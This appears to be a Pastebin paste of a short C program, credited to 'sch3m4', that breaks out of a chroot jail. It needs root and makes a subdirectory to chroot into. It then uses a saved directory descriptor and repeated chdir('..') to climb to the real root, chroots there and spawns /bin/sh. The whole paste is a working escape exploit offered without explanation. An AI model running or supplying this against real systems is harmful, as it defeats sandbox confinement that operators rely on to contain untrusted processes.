Guest User

Untitled

a guest
Mar 16th, 2010
613
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.40 KB | None | 0 0
  1. /*
  2. Chema Garcia (a.k.a. sch3m4)
  3.  
  4.  
  5. http://opensec.es
  6.  
  7. */
  8.  
  9. #include <stdlib.h>
  10. #include <stdio.h>
  11. #include <sys/stat.h>
  12. #include <sys/types.h>
  13. #include <fcntl.h>
  14. #include <unistd.h>
  15. #include <pwd.h>
  16.  
  17. #define FOLDER      "chbrk"
  18. #define PERM        0700
  19. #define MAX_CHDIR   200
  20.  
  21. #define SHELL       "/bin/sh"
  22.  
  23. int main()
  24. {
  25.     int           fd;
  26.     struct stat   statf;
  27.     ino_t         aux;
  28.     unsigned int  cont;
  29.     struct passwd *owner;
  30.     char          *directory;
  31.  
  32.     if(getuid()!=0)
  33.     {
  34.         fprintf(stderr,"\nThis program cannot work without root privileges\n");
  35.         return -1;
  36.     }
  37.  
  38.     fd=open(".",O_RDONLY);
  39.     mkdir(FOLDER,PERM);
  40.     chroot(FOLDER);
  41.     fchdir(fd);
  42.     close(fd);
  43.  
  44.     aux=0;
  45.     cont=0;
  46.     while(!stat(".",&statf) && aux!=statf.st_ino && cont++ < MAX_CHDIR)
  47.     {
  48.         aux=statf.st_ino;
  49.         chdir("..");
  50.     }
  51.  
  52.     if(aux==statf.st_ino)
  53.     {
  54.         chroot(".");
  55.         owner=getpwuid(statf.st_uid);
  56.  
  57.         directory=getcwd(0,0);
  58.         fprintf(stderr,"\n+=[ Done! ]=+\n");
  59.         fprintf(stderr,"\n+ Directory:  %s",directory);
  60.         fprintf(stderr,"\n+ Inode:      %d",(int)statf.st_ino);
  61.         fprintf(stderr,"\n+ Owner:      id=%d (%s) / gid=%d \n\n",owner->pw_uid,owner->pw_name,owner->pw_gid);
  62.         free(directory);
  63.  
  64.         execl(SHELL,(char*)0,(char*)0);
  65.     }
  66.  
  67.    return 0;
  68. }
Advertisement
Add Comment
Please, Sign In to add comment